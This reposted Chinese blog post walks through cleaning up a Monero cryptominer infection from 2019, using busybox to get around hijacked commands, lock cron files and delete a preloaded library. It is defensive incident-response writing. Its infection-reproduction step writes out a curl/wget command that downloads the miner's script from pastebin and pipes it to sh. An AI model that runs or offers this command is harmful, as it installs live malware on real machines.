記服務器中招挖礦病毒排查過程(解決方案篇)

背景

從昨日(20190221)中午起, 發現大量測試環境機器和一臺線上機器疑似感染挖礦病毒(後來確認的確是門羅幣挖礦病毒), 經過一天多的緊急排查, 已基本搞定了該病毒.

該病毒這兩天疑似大規模爆發, 已經有幾個其他公司的朋友中招, 也在網上看到一些帖子和提問.

下面先貼出梳理後的解決過程, 有時間再附上詳細的分析過程.

直觀表現

  • top, ps -ef 無異常進程
  • load average 穩步飆升
  • netstat 命令被刪除
  • 嘗試建立大量22端口, 6379端口的內網連接
  • crontab 被添加定時挖礦腳本, 刪除無效

傳播途徑

  • Jenkins漏洞(or 弱密碼?)侵入
  • 嘗試root用戶ssh的免密登錄
  • 嘗試redis內網登錄

準備過程

獲取busybox

因感染病毒後, ls等系統命令會被劫持, 需要busybox替代這些系統命令, 下面提供從busybox官方docker鏡像中提取的靜態編譯版busybox過程.

  1.  
    docker run --rm -itv /tmp/:/tmp busybox:uclibc
  2.  
    cp /bin/busybox /tmp
  3.  
    exit

宿主機即獲取到: /tmp/busybox

復現感染過程(docker環境被root感染模式)

docker與虛擬機環境有區別, 病毒行爲會受限

  1.  
    docker run --rm -it -v /tmp:/tmp centos:latest
  2.  
    yum install -y crontabs lsof e2fsprogs
  3.  
    (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

使用busybox代替系統命令

busybox top, busybox ps -ef

busybox爲靜態編譯版, 不依賴so庫, 系統的ls等命令已被通過so庫的preload機制被病毒劫持, ls會導致/etc/cron.d/root文件被刷寫爲病毒定時執行命令.

發現比系統命令多兩個進程(進程個數跟cpu核數有關), 耗盡了所有cpu資源

  1.  
    /tmp/ksoftirqds
  2.  
    /tmp/watchdogs

查殺過程(系統命令已不可信, 操作優先採用busybox)

關閉crontab

systemctl stop crond

阻斷內網傳播

上面提到, 該病毒會通過jenkins漏洞, ssh免密登錄, redis免密or弱密碼遠程執行等方式傳播, 在對機器殺毒的過程中, 首先更改相應端口, 避免被內網其它機器二次感染.

上傳busybox

chmod +x busybox && mv busybox /sbin/

寫hosts, 屏蔽病毒腳本下載

busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts

刪除,創建,並鎖定 crontab相關文件

  1.  
    busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
  2.  
    busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
  3.  
    busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root

備份重要的crontab,然後刪除cron.d目錄的其他文件

busybox rm -rf /etc/cron.d/*

檢查並刪除下面目錄有異常文件

  1.  
    busybox ls /etc/cron.daily
  2.  
    busybox ls /etc/cron.hourly
  3.  
    busybox ls /etc/cron.monthly
  4.  
    busybox ls /etc/cron.weekly

刪除病毒相關執行文件和啓動腳本

  1.  
    /busybox rm /sbin/watchdogs
  2.  
    /busybox rm /usr/sbin/watchdogs
  3.  
    /busybox rm /etc/init.d/watchdogs
  4.  
     
  5.  
    busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f

刪除病毒進程

  1.  
    busybox pkill watchdogs
  2.  
    busybox pkill ksoftirqds

刪除被preload的so庫

  1.  
    busybox rm /usr/local/lib/libioset.so
  2.  
    busybox rm /etc/ld.so.preload
  3.  
    busybox rm /etc/ld.so.cache

驗證libioset.so被卸載

lsof |grep usr/local/lib/libioset.so

無輸出, 則該動態鏈接庫被卸載, 直接執行驗證步驟;

有輸出, kill掉佔用的進程, 重複執行該步驟;

若反覆執行後無法成功卸載該動態鏈接庫, 請執行服務器重啓操作.

重啓服務器

驗證步驟

  1.  
    busybox top # 查看系統負載
  2.  
    crontab -l # 查看是否還有異常任務
  3.  
    busybox chattr -i /etc/cron.d/root # 過一段時間查看是否有異常任務寫入

如果沒有成功,重複執行整個查殺過程,儘量在短時間內完成所有操作並重啓,否則病毒會利用已加載的動態鏈接庫恢復感染

轉載於:https://my.oschina.net/u/3473218/blog/3013593

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章